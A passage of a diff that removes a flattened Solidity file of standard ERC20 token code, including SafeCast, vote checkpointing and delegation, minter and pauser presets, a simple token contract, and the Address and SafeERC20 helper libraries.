-        //  a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
-        //  created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
-        //  to this id is the current one.
-        //  b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
-        //  requested id, and its value is the one to return.
-        //  c) More snapshots were created after the requested one, and the queried value was later modified. There will be
-        //  no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
-        //  larger than the requested one.
-        //
-        // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
-        // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
-        // exactly this.
-
-        uint256 index = snapshots.ids.findUpperBound(snapshotId);
-
-        if (index == snapshots.ids.length) {
-            return (false, 0);
-        } else {
-            return (true, snapshots.values[index]);
-        }
-    }
-
-    function _updateAccountSnapshot(address account) private {
-        _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
-    }
-
-    function _updateTotalSupplySnapshot() private {
-        _updateSnapshot(_totalSupplySnapshots, totalSupply());
-    }
-
-    function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
-        uint256 currentId = _getCurrentSnapshotId();
-        if (_lastSnapshotId(snapshots.ids) < currentId) {
-            snapshots.ids.push(currentId);
-            snapshots.values.push(currentValue);
-        }
-    }
-
-    function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
-        if (ids.length == 0) {
-            return 0;
-        } else {
-            return ids[ids.length - 1];
-        }
-    }
-}
-
-
-// File contracts/utils/SafeCast.sol
-
-
-
-
-
-/**
- * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
- * checks.
- *
- * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
- * easily result in undesired exploitation or bugs, since developers usually
- * assume that overflows raise errors. `SafeCast` restores this intuition by
- * reverting the transaction when such an operation overflows.
- *
- * Using this library instead of the unchecked operations eliminates an entire
- * class of bugs, so it's recommended to use it always.
- *
- * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
- * all math on `uint256` and `int256` and then downcasting.
- */
-library SafeCast {
-    /**
-     * @dev Returns the downcasted uint224 from uint256, reverting on
-     * overflow (when the input is greater than largest uint224).
-     *
-     * Counterpart to Solidity's `uint224` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 224 bits
-     */
-    function toUint224(uint256 value) internal pure returns (uint224) {
-        require(value <= type(uint224).max, "SafeCast: value doesn\'t fit in 224 bits");
-        return uint224(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint128 from uint256, reverting on
-     * overflow (when the input is greater than largest uint128).
-     *
-     * Counterpart to Solidity's `uint128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     */
-    function toUint128(uint256 value) internal pure returns (uint128) {
-        require(value <= type(uint128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return uint128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint96 from uint256, reverting on
-     * overflow (when the input is greater than largest uint96).
-     *
-     * Counterpart to Solidity's `uint96` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 96 bits
-     */
-    function toUint96(uint256 value) internal pure returns (uint96) {
-        require(value <= type(uint96).max, "SafeCast: value doesn\'t fit in 96 bits");
-        return uint96(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint64 from uint256, reverting on
-     * overflow (when the input is greater than largest uint64).
-     *
-     * Counterpart to Solidity's `uint64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     */
-    function toUint64(uint256 value) internal pure returns (uint64) {
-        require(value <= type(uint64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return uint64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint32 from uint256, reverting on
-     * overflow (when the input is greater than largest uint32).
-     *
-     * Counterpart to Solidity's `uint32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     */
-    function toUint32(uint256 value) internal pure returns (uint32) {
-        require(value <= type(uint32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return uint32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint16 from uint256, reverting on
-     * overflow (when the input is greater than largest uint16).
-     *
-     * Counterpart to Solidity's `uint16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     */
-    function toUint16(uint256 value) internal pure returns (uint16) {
-        require(value <= type(uint16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return uint16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint8 from uint256, reverting on
-     * overflow (when the input is greater than largest uint8).
-     *
-     * Counterpart to Solidity's `uint8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     */
-    function toUint8(uint256 value) internal pure returns (uint8) {
-        require(value <= type(uint8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return uint8(value);
-    }
-
-    /**
-     * @dev Converts a signed int256 into an unsigned uint256.
-     *
-     * Requirements:
-     *
-     * - input must be greater than or equal to 0.
-     */
-    function toUint256(int256 value) internal pure returns (uint256) {
-        require(value >= 0, "SafeCast: value must be positive");
-        return uint256(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int128 from int256, reverting on
-     * overflow (when the input is less than smallest int128 or
-     * greater than largest int128).
-     *
-     * Counterpart to Solidity's `int128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt128(int256 value) internal pure returns (int128) {
-        require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return int128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int64 from int256, reverting on
-     * overflow (when the input is less than smallest int64 or
-     * greater than largest int64).
-     *
-     * Counterpart to Solidity's `int64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt64(int256 value) internal pure returns (int64) {
-        require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return int64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int32 from int256, reverting on
-     * overflow (when the input is less than smallest int32 or
-     * greater than largest int32).
-     *
-     * Counterpart to Solidity's `int32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt32(int256 value) internal pure returns (int32) {
-        require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return int32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int16 from int256, reverting on
-     * overflow (when the input is less than smallest int16 or
-     * greater than largest int16).
-     *
-     * Counterpart to Solidity's `int16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt16(int256 value) internal pure returns (int16) {
-        require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return int16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int8 from int256, reverting on
-     * overflow (when the input is less than smallest int8 or
-     * greater than largest int8).
-     *
-     * Counterpart to Solidity's `int8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     *
-     * _Available since v3.1._
-     */
-    function toInt8(int256 value) internal pure returns (int8) {
-        require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return int8(value);
-    }
-
-    /**
-     * @dev Converts an unsigned uint256 into a signed int256.
-     *
-     * Requirements:
-     *
-     * - input must be less than or equal to maxInt256.
-     */
-    function toInt256(uint256 value) internal pure returns (int256) {
-        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
-        require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
-        return int256(value);
-    }
-}
-
-
-// File contracts/extensions/ERC20Votes.sol
-
-
-
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
- * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
- *
- * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
- *
- * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getVotes} and {getPastVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20Votes is ERC20Permit {
-    struct Checkpoint {
-        uint32  fromBlock;
-        uint224 votes;
-    }
-
-    bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
-
-    mapping (address => address) private _delegates;
-    mapping (address => Checkpoint[]) private _checkpoints;
-    Checkpoint[] private _totalSupplyCheckpoints;
-
-    /**
-     * @dev Emitted when an account changes their delegate.
-     */
-    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
-
-    /**
-     * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
-     */
-    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
-
-    /**
-     * @dev Get the `pos`-th checkpoint for `account`.
-     */
-    function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
-        return _checkpoints[account][pos];
-    }
-
-    /**
-     * @dev Get number of checkpoints for `account`.
-     */
-    function numCheckpoints(address account) public view virtual returns (uint32) {
-        return SafeCast.toUint32(_checkpoints[account].length);
-    }
-
-    /**
-     * @dev Get the address `account` is currently delegating to.
-     */
-    function delegates(address account) public view virtual returns (address) {
-        return _delegates[account];
-    }
-
-    /**
-     * @dev Gets the current votes balance for `account`
-     */
-    function getVotes(address account) public view returns (uint256) {
-        uint256 pos = _checkpoints[account].length;
-        return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
-    }
-
-    /**
-     * @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_checkpoints[account], blockNumber);
-    }
-
-    /**
-     * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
-     * It is but NOT the sum of all the delegated votes!
-     *
-     * Requirements:
-     *
-     * - `blockNumber` must have been already mined
-     */
-    function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
-        require(blockNumber < block.number, "ERC20Votes: block not yet mined");
-        return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
-    }
-
-    /**
-     * @dev Lookup a value in a list of (sorted) checkpoints.
-     */
-    function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
-        // We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
-        //
-        // During the loop, the index of the wanted checkpoint remains in the range [low, high).
-        // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
-        // - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
-        // - If the middle checkpoint is before `blockNumber`, we look in [mid+1, high)
-        // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
-        // out of bounds (in which case we're looking too far in the past and the result is 0).
-        // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
-        // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
-        // the same.
-        uint256 high = ckpts.length;
-        uint256 low = 0;
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-            if (ckpts[mid].fromBlock > blockNumber) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        return high == 0 ? 0 : ckpts[high - 1].votes;
-    }
-
-    /**
-     * @dev Delegate votes from the sender to `delegatee`.
-     */
-    function delegate(address delegatee) public virtual {
-        return _delegate(_msgSender(), delegatee);
-    }
-
-    /**
-     * @dev Delegates votes from signer to `delegatee`
-     */
-    function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s)
-        public virtual
-    {
-        require(block.timestamp <= expiry, "ERC20Votes: signature expired");
-        address signer = ECDSA.recover(
-            _hashTypedDataV4(keccak256(abi.encode(
-                _DELEGATION_TYPEHASH,
-                delegatee,
-                nonce,
-                expiry
-            ))),
-            v, r, s
-        );
-        require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
-        return _delegate(signer, delegatee);
-    }
-
-    /**
-     * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
-     */
-    function _maxSupply() internal view virtual returns (uint224) {
-        return type(uint224).max;
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been increased.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        super._mint(account, amount);
-        require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
-
-        _writeCheckpoint(_totalSupplyCheckpoints, add, amount);
-    }
-
-    /**
-     * @dev Snapshots the totalSupply after it has been decreased.
-     */
-    function _burn(address account, uint256 amount) internal virtual override {
-        super._burn(account, amount);
-
-        _writeCheckpoint(_totalSupplyCheckpoints, subtract, amount);
-    }
-
-    /**
-     * @dev Move voting power when tokens are transferred.
-     *
-     * Emits a {DelegateVotesChanged} event.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        _moveVotingPower(delegates(from), delegates(to), amount);
-    }
-
-    /**
-     * @dev Change delegation for `delegator` to `delegatee`.
-     *
-     * Emits events {DelegateChanged} and {DelegateVotesChanged}.
-     */
-    function _delegate(address delegator, address delegatee) internal virtual {
-        address currentDelegate = delegates(delegator);
-        uint256 delegatorBalance = balanceOf(delegator);
-        _delegates[delegator] = delegatee;
-
-        emit DelegateChanged(delegator, currentDelegate, delegatee);
-
-        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);
-    }
-
-    function _moveVotingPower(address src, address dst, uint256 amount) private {
-        if (src != dst && amount > 0) {
-            if (src != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], subtract, amount);
-                emit DelegateVotesChanged(src, oldWeight, newWeight);
-            }
-
-            if (dst != address(0)) {
-                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], add, amount);
-                emit DelegateVotesChanged(dst, oldWeight, newWeight);
-            }
-        }
-    }
-
-    function _writeCheckpoint(
-        Checkpoint[] storage ckpts,
-        function (uint256, uint256) view returns (uint256) op,
-        uint256 delta
-    )
-        private returns (uint256 oldWeight, uint256 newWeight)
-    {
-        uint256 pos = ckpts.length;
-        oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
-        newWeight = op(oldWeight, delta);
-
-        if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
-            ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
-        } else {
-            ckpts.push(Checkpoint({
-                fromBlock: SafeCast.toUint32(block.number),
-                votes: SafeCast.toUint224(newWeight)
-            }));
-        }
-    }
-
-    function add(uint256 a, uint256 b) private pure returns (uint256) {
-        return a + b;
-    }
-
-    function subtract(uint256 a, uint256 b) private pure returns (uint256) {
-        return a - b;
-    }
-}
-
-
-// File contracts/extensions/ERC20VotesComp.sol
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
- * interface, with the drawback of only supporting supply up to (2^96^ - 1).
- *
- * NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
- * with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
- * {ERC20Votes} variant of this module.
- *
- * This extensions keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20VotesComp is ERC20Votes {
-    /**
-     * @dev Comp version of the {getVotes} accessor, with `uint96` return type.
-     */
-    function getCurrentVotes(address account) external view returns (uint96) {
-        return SafeCast.toUint96(getVotes(account));
-    }
-    /**
-     * @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
-     */
-    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
-        return SafeCast.toUint96(getPastVotes(account, blockNumber));
-    }
-
-    /**
-     * @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
-     */
-    function _maxSupply() internal view virtual override returns (uint224) {
-        return type(uint96).max;
-    }
-}
-
-
-// File contracts/presets/ERC20PresetFixedSupply.sol
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - Preminted initial supply
- *  - Ability for holders to burn (destroy) their tokens
- *  - No access control mechanism (for minting/pausing) and hence no governance
- *
- * This contract uses {ERC20Burnable} to include burn capabilities - head to
- * its documentation for details.
- *
- * _Available since v3.4._
- */
-contract ERC20PresetFixedSupply is ERC20Burnable {
-    /**
-     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(
-        string memory name,
-        string memory symbol,
-        uint256 initialSupply,
-        address owner
-    ) ERC20(name, symbol) {
-        _mint(owner, initialSupply);
-    }
-}
-
-
-// File contracts/presets/ERC20PresetMinterPauser.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - ability for holders to burn (destroy) their tokens
- *  - a minter role that allows for token minting (creation)
- *  - a pauser role that allows to stop all token transfers
- *
- * This contract uses {AccessControl} to lock permissioned functions using the
- * different roles - head to its documentation for details.
- *
- * The account that deploys the contract will be granted the minter and pauser
- * roles, as well as the default admin role, which will let it grant both minter
- * and pauser roles to other accounts.
- */
-contract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {
-    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
-    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
-
-    /**
-     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
-     * account that deploys the contract.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
-        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
-
-        _setupRole(MINTER_ROLE, _msgSender());
-        _setupRole(PAUSER_ROLE, _msgSender());
-    }
-
-    /**
-     * @dev Creates `amount` new tokens for `to`.
-     *
-     * See {ERC20-_mint}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `MINTER_ROLE`.
-     */
-    function mint(address to, uint256 amount) public virtual {
-        require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
-        _mint(to, amount);
-    }
-
-    /**
-     * @dev Pauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_pause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function pause() public virtual {
-        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
-        _pause();
-    }
-
-    /**
-     * @dev Unpauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_unpause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function unpause() public virtual {
-        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
-        _unpause();
-    }
-
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) {
-        super._beforeTokenTransfer(from, to, amount);
-    }
-}
-
-
-
-contract SimpleToken is ERC20PresetMinterPauser {
-
-
-    /**
-     * @dev Constructor that gives msg.sender all of existing tokens.
-     */
-
-    uint8 private _decimals;
-    uint256 public  INITIAL_SUPPLY = 10000 * (10 ** uint256(18));
-
-
-    function decimals() public view  override returns (uint8) {
-        return _decimals;
-    }
-
-    constructor(string memory name, string memory symbol, uint8  decimals, uint256  initial_supply) public  ERC20PresetMinterPauser(name, symbol){
-        
-    
-        _decimals = decimals;
-        INITIAL_SUPPLY = initial_supply * (10 ** uint256(decimals)) ;
-        _mint(msg.sender, INITIAL_SUPPLY);
-    }
-
-}
-
-
-// File contracts/utils/Address.sol
-
-
-
-
-
-/**
- * @dev Collection of functions related to the address type
- */
-library Address {
-    /**
-     * @dev Returns true if `account` is a contract.
-     *
-     * [IMPORTANT]
-     * ====
-     * It is unsafe to assume that an address for which this function returns
-     * false is an externally-owned account (EOA) and not a contract.
-     *
-     * Among others, `isContract` will return false for the following
-     * types of addresses:
-     *
-     *  - an externally-owned account
-     *  - a contract in construction
-     *  - an address where a contract will be created
-     *  - an address where a contract lived, but was destroyed
-     * ====
-     */
-    function isContract(address account) internal view returns (bool) {
-        // This method relies on extcodesize, which returns 0 for contracts in
-        // construction, since the code is only stored at the end of the
-        // constructor execution.
-
-        uint256 size;
-        // solhint-disable-next-line no-inline-assembly
-        assembly { size := extcodesize(account) }
-        return size > 0;
-    }
-
-    /**
-     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
-     * `recipient`, forwarding all available gas and reverting on errors.
-     *
-     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
-     * of certain opcodes, possibly making contracts go over the 2300 gas limit
-     * imposed by `transfer`, making them unable to receive funds via
-     * `transfer`. {sendValue} removes this limitation.
-     *
-     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
-     *
-     * IMPORTANT: because control is transferred to `recipient`, care must be
-     * taken to not create reentrancy vulnerabilities. Consider using
-     * {ReentrancyGuard} or the
-     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
-     */
-    function sendValue(address payable recipient, uint256 amount) internal {
-        require(address(this).balance >= amount, "Address: insufficient balance");
-
-        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
-        (bool success, ) = recipient.call{ value: amount }("");
-        require(success, "Address: unable to send value, recipient may have reverted");
-    }
-
-    /**
-     * @dev Performs a Solidity function call using a low level `call`. A
-     * plain`call` is an unsafe replacement for a function call: use this
-     * function instead.
-     *
-     * If `target` reverts with a revert reason, it is bubbled up by this
-     * function (like regular Solidity function calls).
-     *
-     * Returns the raw returned data. To convert to the expected return value,
-     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
-     *
-     * Requirements:
-     *
-     * - `target` must be a contract.
-     * - calling `target` with `data` must not revert.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
-      return functionCall(target, data, "Address: low-level call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
-     * `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, 0, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but also transferring `value` wei to `target`.
-     *
-     * Requirements:
-     *
-     * - the calling contract must have an ETH balance of at least `value`.
-     * - the called Solidity function must be `payable`.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
-     * with `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
-        require(address(this).balance >= value, "Address: insufficient balance for call");
-        require(isContract(target), "Address: call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.call{ value: value }(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
-        return functionStaticCall(target, data, "Address: low-level static call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
-        require(isContract(target), "Address: static call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.staticcall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
-        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        require(isContract(target), "Address: delegate call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.delegatecall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
-        if (success) {
-            return returndata;
-        } else {
-            // Look for revert reason and bubble it up if present
-            if (returndata.length > 0) {
-                // The easiest way to bubble the revert reason is using memory via assembly
-
-                // solhint-disable-next-line no-inline-assembly
-                assembly {
-                    let returndata_size := mload(returndata)
-                    revert(add(32, returndata), returndata_size)
-                }
-            } else {
-                revert(errorMessage);
-            }
-        }
-    }
-}
-
-
-// File contracts/utils/SafeERC20.sol
-
-
-
-
-
-
-/**
- * @title SafeERC20
- * @dev Wrappers around ERC20 operations that throw on failure (when the token
- * contract returns false). Tokens that return no value (and instead revert or
- * throw on failure) are also supported, non-reverting calls are assumed to be
- * successful.
- * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
- * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
- */
-library SafeERC20 {
-    using Address for address;
-
-    function safeTransfer(IERC20 token, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
-    }
-
-    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
-    }
-
-    /**
-     * @dev Deprecated. This function has issues similar to the ones found in
-     * {IERC20-approve}, and its usage is discouraged.
-     *
-     * Whenever possible, use {safeIncreaseAllowance} and
-     * {safeDecreaseAllowance} instead.
-     */
-    function safeApprove(IERC20 token, address spender, uint256 value) internal {
-        // safeApprove should only be called when setting an initial allowance,
-        // or when resetting it to zero. To increase and decrease it, use
-        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
-        // solhint-disable-next-line max-line-length
-        require((value == 0) || (token.allowance(address(this), spender) == 0),
-            "SafeERC20: approve from non-zero to non-zero allowance"
-        );
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
-    }
-
-    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        uint256 newAllowance = token.allowance(address(this), spender) + value;
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-    }
-
-    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        unchecked {
-            uint256 oldAllowance = token.allowance(address(this), spender);
-            require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
-            uint256 newAllowance = oldAllowance - value;
-            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-        }
-    }
-
-    /**
-     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
-     * on the return value: the return value is optional (but if data is returned, it must not be false).
-     * @param token The token targeted by the call.
-     * @param data The call data (encoded using abi.encode or one of its variants).
-     */
-    function _callOptionalReturn(IERC20 token, bytes memory data) private {
-        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
-        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
-        // the target address contains contract code and also asserts for success in the low-level call.
-
-        bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
-        if (returndata.length > 0) { // Return data is optional
-            // solhint-disable-next-line max-line-length
-            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
-        }
-    }
-}
-
-
-// File contracts/utils/TokenTimelock.sol
-
-
-
-
-
-/**
- * @dev A token holder contract that will allow a beneficiary to extract the
- * tokens after a given release time.
- *
- * Useful for simple vesting schedules like "advisors get all of their tokens
- * after 1 year".
- */
-contract TokenTimelock {
-    using SafeERC20 for IERC20;
-
-    // ERC20 basic token contract being held
